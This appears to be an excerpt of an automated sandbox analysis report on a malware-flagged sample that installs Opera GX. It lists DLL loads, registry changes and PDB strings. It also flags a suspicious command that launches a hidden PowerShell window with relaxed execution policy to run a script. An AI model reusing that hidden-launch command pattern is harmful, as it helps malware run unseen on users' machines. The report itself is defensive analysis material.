      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: dbgcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: msasn1.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: kernel.appcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: uxtheme.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: ntmarta.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: windows.storage.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: wldp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: profapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: linkinfo.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: ntshrui.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: srvcli.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: cscapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: appresolver.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: bcp47langs.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: slc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: sppc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: windows.staterepositoryps.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: windows.fileexplorer.common.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: iertutil.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: uiautomationcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: oleacc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: coremessaging.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: coreuicomponents.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: wintypes.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: wintypes.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: wintypes.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: uiamanager.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: dwmapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: sxs.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: onecorecommonproxystub.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: actxprxy.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: twinapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: twinapi.appcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: taskschd.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: xmllite.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: firewallapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: dnsapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: iphlpapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: fwbase.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: fwpolicyiomgr.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: netutils.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: version.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: msimg32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: secur32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: dbghelp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: wininet.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: propsys.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: winmm.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: userenv.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: winhttp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: sspicli.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: dbgcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: msasn1.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: kernel.appcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: uxtheme.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: windows.storage.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: wldp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: iertutil.dll
      Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
      Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
      Source: C:\Windows\explorer.exeSection loaded: msvcp140.dll
      Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
      Source: C:\Windows\explorer.exeSection loaded: twext.dll
      Source: C:\Windows\explorer.exeSection loaded: version.dll
      Source: C:\Windows\explorer.exeSection loaded: zipfldr.dll
      Source: C:\Windows\explorer.exeSection loaded: sendmail.dll
      Source: C:\Windows\explorer.exeSection loaded: mydocs.dll
      Source: C:\Windows\explorer.exeSection loaded: drprov.dll
      Source: C:\Windows\explorer.exeSection loaded: ntlanman.dll
      Source: C:\Windows\explorer.exeSection loaded: davclnt.dll
      Source: C:\Windows\explorer.exeSection loaded: davhlpr.dll
      Source: C:\Windows\explorer.exeSection loaded: dlnashext.dll
      Source: C:\Windows\explorer.exeSection loaded: playtodevice.dll
      Source: C:\Windows\explorer.exeSection loaded: wpdshext.dll
      Source: C:\Windows\explorer.exeSection loaded: ehstorapi.dll
      Source: C:\Windows\explorer.exeSection loaded: acppage.dll
      Source: C:\Windows\explorer.exeSection loaded: sfc.dll
      Source: C:\Windows\explorer.exeSection loaded: msi.dll
      Source: C:\Windows\explorer.exeSection loaded: smartscreenps.dll
      Source: C:\Windows\explorer.exeSection loaded: cdprt.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: uiautomationcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: propsys.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: cryptbase.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: oleacc.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: uiautomationcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: propsys.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: cryptbase.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: oleacc.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: uiautomationcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: propsys.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: cryptbase.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: oleacc.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: uiautomationcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: propsys.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: cryptbase.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: oleacc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: ntmarta.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: winmm.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: iphlpapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: secur32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dbghelp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: userenv.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: version.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: mmdevapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dwrite.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: winhttp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dhcpcsvc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: devobj.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: sspicli.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dpapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: msasn1.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: kbdus.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: uxtheme.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: kernel.appcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: sxs.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: onecorecommonproxystub.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: onecoreuapcommonproxystub.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: uiautomationcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: propsys.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: cryptbase.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: oleacc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: dbghelp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: version.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: secur32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: iphlpapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: winhttp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: credui.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: winmm.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: userenv.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: dbgcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: sspicli.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: msasn1.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: ntmarta.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: kernel.appcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: uxtheme.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: wbemcomn.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: amsi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: profapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: dhcpcsvc6.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: dhcpcsvc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: ondemandconnroutehelper.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: mswsock.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: dnsapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: fwpuclnt.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: rasadhlp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: schannel.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: uiautomationcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: propsys.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: cryptbase.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: oleacc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeSection loaded: winmm.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeSection loaded: version.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeSection loaded: dbghelp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeSection loaded: winhttp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeSection loaded: dbgcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeSection loaded: uxtheme.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeSection loaded: kernel.appcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: dbghelp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: version.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: secur32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: iphlpapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: winhttp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: credui.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: winmm.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: userenv.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: dbgcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: sspicli.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: msasn1.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: uxtheme.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeSection loaded: kernel.appcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: uiautomationcore.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: propsys.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: cryptbase.dll
      Source: C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exeSection loaded: oleacc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: ntmarta.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: winmm.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: iphlpapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: secur32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dbghelp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: userenv.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: version.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: mmdevapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dwrite.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: winhttp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dhcpcsvc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: devobj.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: sspicli.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dpapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: msasn1.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: kbdus.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: uxtheme.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: kernel.appcore.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: powrprof.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: umpdc.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: cryptbase.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: nlaapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dhcpcsvc6.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: dnsapi.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeSection loaded: textinputframework.dll
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
      Source: Window RecorderWindow detected: More than 3 window changes detected
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Opera GX 114.0.5282.93
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeStatic file information: File size 1764368 > 1048576
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: Binary string: assistant_installer.exe.pdb source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000000.2696344691.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000885000.00000002.00000001.01000000.00000015.sdmp
      Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer.exe.pdb source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000000.1477525403.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000002.3458317244.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481325313.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496081866.00000000001E8000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000000.1487963525.00000000001E8000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000000.1497873390.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000D.00000002.3416016594.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3433532618.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000000.1502183275.0000000000638000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000000.3197248606.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000002.3374493482.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200690816.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000002.3399236955.00007FF73D6B4000.00000002.00000001.01000000.00000016.sdmp
      Source: Binary string: browser_assistant.exe.pdb source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mojo_core.dll.pdb source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmp
      Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\opera_autoupdate.exe.pdb source: installer.exe, 00000017.00000003.3210935089.000001F1A3F78000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: browser_assistant.exe.pdbe source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer_lib.dll.pdb source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp
      Source: Binary string: assistant_installer.exe.pdb@ source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000000.2696344691.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000885000.00000002.00000001.01000000.00000015.sdmp

      Data Obfuscation

      barindex
      Suspicious powershell command line found
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1Jump to behavior
      Source: dxil.dll.13.drStatic PE information: 0x7DBE8527 [Fri Nov 7 02:32:07 2036 UTC]
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0040239B LoadLibraryA,GetProcAddress,GetNativeSystemInfo,19_2_0040239B
      Source: f_1.exe.7.drStatic PE information: real checksum: 0x329ff5 should be: 0x32f284
